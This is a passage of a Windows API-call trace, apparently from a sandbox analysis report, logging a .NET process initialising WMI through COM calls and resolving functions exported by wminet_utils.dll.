0x80004002 [0272.825] WbemDefPath:IUnknown:AddRef (This=0x8bbf88) returned 0x3 [0272.825] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbf88, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x539e73c | out: ppvObject=0x539e73c*=0x0) returned 0x80004002 [0272.825] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbf88, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x539e6ec | out: ppvObject=0x539e6ec*=0x0) returned 0x80004002 [0272.825] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbf88, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539e6f8 | out: ppvObject=0x539e6f8*=0x8c06c0) returned 0x0 [0272.826] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x8c06c0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x539e700 | out: pCid=0x539e700*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.826] WbemDefPath:IUnknown:Release (This=0x8c06c0) returned 0x3 [0272.826] CoGetContextToken (in: pToken=0x539e758 | out: pToken=0x539e758) returned 0x0 [0272.826] CoGetContextToken (in: pToken=0x539eb6c | out: pToken=0x539eb6c) returned 0x0 [0272.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbf88, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x539ebec | out: ppvObject=0x539ebec*=0x0) returned 0x80004002 [0272.826] WbemDefPath:IUnknown:Release (This=0x8bbf88) returned 0x2 [0272.826] WbemDefPath:IUnknown:Release (This=0x8bbf88) returned 0x1 [0272.826] SetEvent (hEvent=0x3c4) returned 1 Thread: id = 495 os_tid = 0x434 [0268.218] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0268.218] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x558f294 | out: lpiid=0x558f294) returned 0x0 [0268.220] CoGetClassObject (in: rclsid=0x871fb4*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x558efb0 | out: ppv=0x558efb0*=0x8856f0) returned 0x0 [0268.220] WbemLocator:IUnknown:QueryInterface (in: This=0x8856f0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x558f1c8 | out: ppvObject=0x558f1c8*=0x0) returned 0x80004002 [0268.220] WbemLocator:IClassFactory:CreateInstance (in: This=0x8856f0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x558f1d4 | out: ppvObject=0x558f1d4*=0x8811a8) returned 0x0 [0268.220] WbemLocator:IUnknown:Release (This=0x8856f0) returned 0x0 [0268.220] WbemLocator:IUnknown:QueryInterface (in: This=0x8811a8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x558edf4 | out: ppvObject=0x558edf4*=0x8811a8) returned 0x0 [0268.220] WbemLocator:IUnknown:QueryInterface (in: This=0x8811a8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x558eda8 | out: ppvObject=0x558eda8*=0x0) returned 0x80004002 [0268.221] WbemLocator:IUnknown:AddRef (This=0x8811a8) returned 0x3 [0268.221] WbemLocator:IUnknown:QueryInterface (in: This=0x8811a8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x558e704 | out: ppvObject=0x558e704*=0x0) returned 0x80004002 [0268.221] WbemLocator:IUnknown:QueryInterface (in: This=0x8811a8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x558e6b4 | out: ppvObject=0x558e6b4*=0x0) returned 0x80004002 [0268.221] WbemLocator:IUnknown:QueryInterface (in: This=0x8811a8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x558e6c0 | out: ppvObject=0x558e6c0*=0x0) returned 0x80004002 [0268.221] CoGetContextToken (in: pToken=0x558e720 | out: pToken=0x558e720) returned 0x0 [0268.221] CoGetObjectContext (in: riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x8856f4 | out: ppv=0x8856f4*=0x81e148) returned 0x0 [0268.226] CoGetContextToken (in: pToken=0x558eb34 | out: pToken=0x558eb34) returned 0x0 [0268.226] WbemLocator:IUnknown:QueryInterface (in: This=0x8811a8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x558ebb4 | out: ppvObject=0x558ebb4*=0x0) returned 0x80004002 [0268.226] WbemLocator:IUnknown:Release (This=0x8811a8) returned 0x2 [0268.226] WbemLocator:IUnknown:Release (This=0x8811a8) returned 0x1 [0268.227] CoGetContextToken (in: pToken=0x558f1ac | out: pToken=0x558f1ac) returned 0x0 [0268.227] CoGetContextToken (in: pToken=0x558f10c | out: pToken=0x558f10c) returned 0x0 [0268.227] WbemLocator:IUnknown:QueryInterface (in: This=0x8811a8, riid=0x558f1dc*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x558f1d8 | out: ppvObject=0x558f1d8*=0x8811a8) returned 0x0 [0268.227] WbemLocator:IUnknown:AddRef (This=0x8811a8) returned 0x3 [0268.227] WbemLocator:IUnknown:Release (This=0x8811a8) returned 0x2 [0268.229] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c0e0, puCount=0x558f36c | out: puCount=0x558f36c*=0x2) returned 0x0 [0268.230] WbemDefPath:IWbemPath:GetText (in: This=0x84c0e0, lFlags=8, puBuffLength=0x558f368*=0x0, pszText=0x0 | out: puBuffLength=0x558f368*=0xf, pszText=0x0) returned 0x0 [0268.230] WbemDefPath:IWbemPath:GetText (in: This=0x84c0e0, lFlags=8, puBuffLength=0x558f368*=0xf, pszText="00000000000000" | out: puBuffLength=0x558f368*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0268.235] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x558e590, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0268.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", cchWideChar=63, lpMultiByteStr=0x558eab8, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", lpUsedDefaultChar=0x0) returned 63 [0268.236] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll") returned 0x6fed0000 [0268.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResetSecurity", cchWideChar=13, lpMultiByteStr=0x558eaec, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResetSecuritymüo\x12SÔÂDþ+qÈíX\x05\x01", lpUsedDefaultChar=0x0) returned 13 [0268.241] GetProcAddress (hModule=0x6fed0000, lpProcName="ResetSecurity") returned 0x6fed7dd0 [0268.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetSecurity", cchWideChar=11, lpMultiByteStr=0x558eaec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetSecurity", lpUsedDefaultChar=0x0) returned 11 [0268.272] GetProcAddress (hModule=0x6fed0000, lpProcName="SetSecurity") returned 0x6fed7e20 [0268.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServices", cchWideChar=18, lpMultiByteStr=0x558eae8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 18 [0268.300] GetProcAddress (hModule=0x6fed0000, lpProcName="BlessIWbemServices") returned 0x6fed6e70 [0268.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServicesObject", cchWideChar=24, lpMultiByteStr=0x558eae0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesObject»müo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 24 [0268.326] GetProcAddress (hModule=0x6fed0000, lpProcName="BlessIWbemServicesObject") returned 0x6fed6ed0 [0268.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyHandle", cchWideChar=17, lpMultiByteStr=0x558eae8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyHandlemüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 17 [0268.386] GetProcAddress (hModule=0x6fed0000, lpProcName="GetPropertyHandle") returned 0x6fed7820 [0268.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WritePropertyValue", cchWideChar=18, lpMultiByteStr=0x558eae8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WritePropertyValueüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 18 [0268.398] GetProcAddress (hModule=0x6fed0000, lpProcName="WritePropertyValue") returned 0x6fed7fa0 [0268.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x558eaf4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clonemüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 5 [0268.409] GetProcAddress (hModule=0x6fed0000, lpProcName="Clone") returned 0x6fed6f30 [0268.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VerifyClientKey", cchWideChar=15, lpMultiByteStr=0x558eae8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VerifyClientKey", lpUsedDefaultChar=0x0) returned 15 [0268.416] GetProcAddress (hModule=0x6fed0000, lpProcName="VerifyClientKey") returned 0x6fed7f20 [0268.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetQualifierSet", cchWideChar=15, lpMultiByteStr=0x558eae8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetQualifierSet", lpUsedDefaultChar=0x0) returned 15 [0268.424] GetProcAddress (hModule=0x6fed0000, lpProcName="GetQualifierSet") returned 0x6fed78e0 [0268.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Get", cchWideChar=3, lpMultiByteStr=0x558eaf4, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Get", lpUsedDefaultChar=0x0) returned 3 [0268.425] GetProcAddress (hModule=0x6fed0000, lpProcName="Get") returned 0x6fed75c0 [0268.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Put", cchWideChar=3, lpMultiByteStr=0x558eaf4, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Put", lpUsedDefaultChar=0x0) returned 3 [0268.441] GetProcAddress (hModule=0x6fed0000, lpProcName="Put") returned 0x6fed7a00 [0268.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Delete", cchWideChar=6, lpMultiByteStr=0x558eaf4, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleteüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 6 [0268.456] GetProcAddress (hModule=0x6fed0000, lpProcName="Delete") returned 0x6fed7300 [0268.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetNames", cchWideChar=8, lpMultiByteStr=0x558eaf0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetNames»müo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 8 [0268.471] GetProcAddress (hModule=0x6fed0000, lpProcName="GetNames") returned 0x6fed77c0 [0268.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginEnumeration", cchWideChar=16, lpMultiByteStr=0x558eae8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginEnumeration»müo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 16 [0268.490] GetProcAddress (hModule=0x6fed0000, lpProcName="BeginEnumeration") returned 0x6fed6e30 [0268.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Next", cchWideChar=4, lpMultiByteStr=0x558eaf4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Next»müo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 4 [0268.500] GetProcAddress (hModule=0x6fed0000, lpProcName="Next") returned 0x6fed79a0 [0268.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndEnumeration", cchWideChar=14, lpMultiByteStr=0x558eaec, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndEnumerationüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 14 [0268.523] GetProcAddress (hModule=0x6fed0000, lpProcName="EndEnumeration") returned 0x6fed73c0 [0268.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyQualifierSet", cchWideChar=23, lpMultiByteStr=0x558eae0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyQualifierSet", lpUsedDefaultChar=0x0) returned 23 [0268.532] GetProcAddress (hModule=0x6fed0000, lpProcName="GetPropertyQualifierSet") returned 0x6fed78b0 [0268.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x558eaf4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clonemüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 5 [0268.544] GetProcAddress (hModule=0x6fed0000, lpProcName="Clone") returned 0x6fed6f30 [0268.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetObjectText", cchWideChar=13, lpMultiByteStr=0x558eaec, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetObjectTextmüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 13 [0268.545] GetProcAddress (hModule=0x6fed0000, lpProcName="GetObjectText") returned 0x6fed77f0 [0268.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnDerivedClass", cchWideChar=17, lpMultiByteStr=0x558eae8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnDerivedClassmüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 17 [0268.571] GetProcAddress (hModule=0x6fed0000, lpProcName="SpawnDerivedClass") returned 0x6fed7e80 [0268.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnInstance", cchWideChar=13, lpMultiByteStr=0x558eaec, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnInstancemüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 13 [0268.582] GetProcAddress (hModule=0x6fed0000, lpProcName="SpawnInstance") returned 0x6fed7eb0 [0268.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CompareTo", cchWideChar=9, lpMultiByteStr=0x558eaf0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareTomüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 9 [0268.583] GetProcAddress (hModule=0x6fed0000, lpProcName="CompareTo") returned 0x6fed7020 [0268.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyOrigin", cchWideChar=17, lpMultiByteStr=0x558eae8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyOriginmüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 17 [0268.604] GetProcAddress (hModule=0x6fed0000, lpProcName="GetPropertyOrigin") returned 0x6fed7880 [0268.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="InheritsFrom", cchWideChar=12, lpMultiByteStr=0x558eaec, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InheritsFrom»müo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 12 [0268.618] GetProcAddress (hModule=0x6fed0000, lpProcName="InheritsFrom") returned 0x6fed7900 [0268.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethod", cchWideChar=9, lpMultiByteStr=0x558eaf0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodmüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 9 [0268.620] GetProcAddress (hModule=0x6fed0000, lpProcName="GetMethod") returned 0x6fed7730 [0268.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutMethod", cchWideChar=9, lpMultiByteStr=0x558eaf0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutMethodmüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 9 [0268.658] GetProcAddress (hModule=0x6fed0000, lpProcName="PutMethod") returned 0x6fed7bf0 [0268.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DeleteMethod", cchWideChar=12, lpMultiByteStr=0x558eaec, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DeleteMethod»müo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 12 [0268.670] GetProcAddress (hModule=0x6fed0000, lpProcName="DeleteMethod") returned 0x6fed7320 [0268.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginMethodEnumeration", cchWideChar=22, lpMultiByteStr=0x558eae4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginMethodEnumerationüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 22 [0268.672] GetProcAddress (hModule=0x6fed0000, lpProcName="BeginMethodEnumeration") returned 0x6fed6e50 [0268.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NextMethod", cchWideChar=10, lpMultiByteStr=0x558eaf0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMethodüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 10 [0268.674] GetProcAddress (hModule=0x6fed0000, lpProcName="NextMethod") returned 0x6fed79d0 [0268.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndMethodEnumeration", cchWideChar=20, lpMultiByteStr=0x558eae4, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndMethodEnumeration»müo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 20 [0268.692] GetProcAddress (hModule=0x6fed0000, lpProcName="EndMethodEnumeration") returned 0x6fed73e0 [0268.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodQualifierSet", cchWideChar=21, lpMultiByteStr=0x558eae4, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodQualifierSetmüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 21 [0268.693] GetProcAddress (hModule=0x6fed0000, lpProcName="GetMethodQualifierSet") returned 0x6fed7790 [0268.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodOrigin", cchWideChar=15, lpMultiByteStr=0x558eae8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodOrigin", lpUsedDefaultChar=0x0) returned 15 [0268.695] GetProcAddress (hModule=0x6fed0000, lpProcName="GetMethodOrigin") returned 0x6fed7760 [0268.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Get", cchWideChar=16, lpMultiByteStr=0x558eae8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Get»müo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 16 [0268.696] GetProcAddress (hModule=0x6fed0000, lpProcName="QualifierSet_Get") returned 0x6fed7c80 [0268.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Put", cchWideChar=16, lpMultiByteStr=0x558eae8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Put»müo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 16 [0268.711] GetProcAddress (hModule=0x6fed0000, lpProcName="QualifierSet_Put") returned 0x6fed7d10 [0268.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Delete", cchWideChar=19, lpMultiByteStr=0x558eae4, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Delete", lpUsedDefaultChar=0x0) returned 19 [0268.726] GetProcAddress (hModule=0x6fed0000, lpProcName="QualifierSet_Delete") returned 0x6fed7c40 [0268.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_GetNames", cchWideChar=21, lpMultiByteStr=0x558eae4, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_GetNamesmüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 21 [0268.728] GetProcAddress (hModule=0x6fed0000, lpProcName="QualifierSet_GetNames") returned 0x6fed7cb0 [0268.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_BeginEnumeration", cchWideChar=29, lpMultiByteStr=0x558eadc, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_BeginEnumerationmüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 29 [0268.746] GetProcAddress (hModule=0x6fed0000, lpProcName="QualifierSet_BeginEnumeration") returned 0x6fed7c20 [0268.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Next", cchWideChar=17, lpMultiByteStr=0x558eae8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Nextmüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 17 [0268.748] GetProcAddress (hModule=0x6fed0000, lpProcName="QualifierSet_Next") returned 0x6fed7ce0 [0268.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateInstanceEnumWmi", cchWideChar=21, lpMultiByteStr=0x558eae4, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateInstanceEnumWmimüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 21 [0268.762] GetProcAddress (hModule=0x6fed0000, lpProcName="CreateInstanceEnumWmi") returned 0x6fed7230 [0268.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateClassEnumWmi", cchWideChar=18, lpMultiByteStr=0x558eae8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateClassEnumWmiüo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 18 [0268.819] GetProcAddress (hModule=0x6fed0000, lpProcName="CreateClassEnumWmi") returned 0x6fed7160 [0268.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecQueryWmi", cchWideChar=12, lpMultiByteStr=0x558eaec, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecQueryWmi»müo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 12 [0268.821] GetProcAddress (hModule=0x6fed0000, lpProcName="ExecQueryWmi") returned 0x6fed74e0 [0268.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecNotificationQueryWmi", cchWideChar=24, lpMultiByteStr=0x558eae0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecNotificationQueryWmi»müo\x12SÔÂDþ+qÈíX\x05", lpUsedDefaultChar=0x0) returned 24 [0268.830] GetProcAddress (hModule=0x6fed0000, lpProcName="ExecNotificationQueryWmi") returned 0x6fed7400 [0268.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutInstanceWmi", cchWideChar=14, lpMultiByteStr=0x558eaec, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutInstanceWmiüo\x12SÔÂDþ+qÈíX\x05", 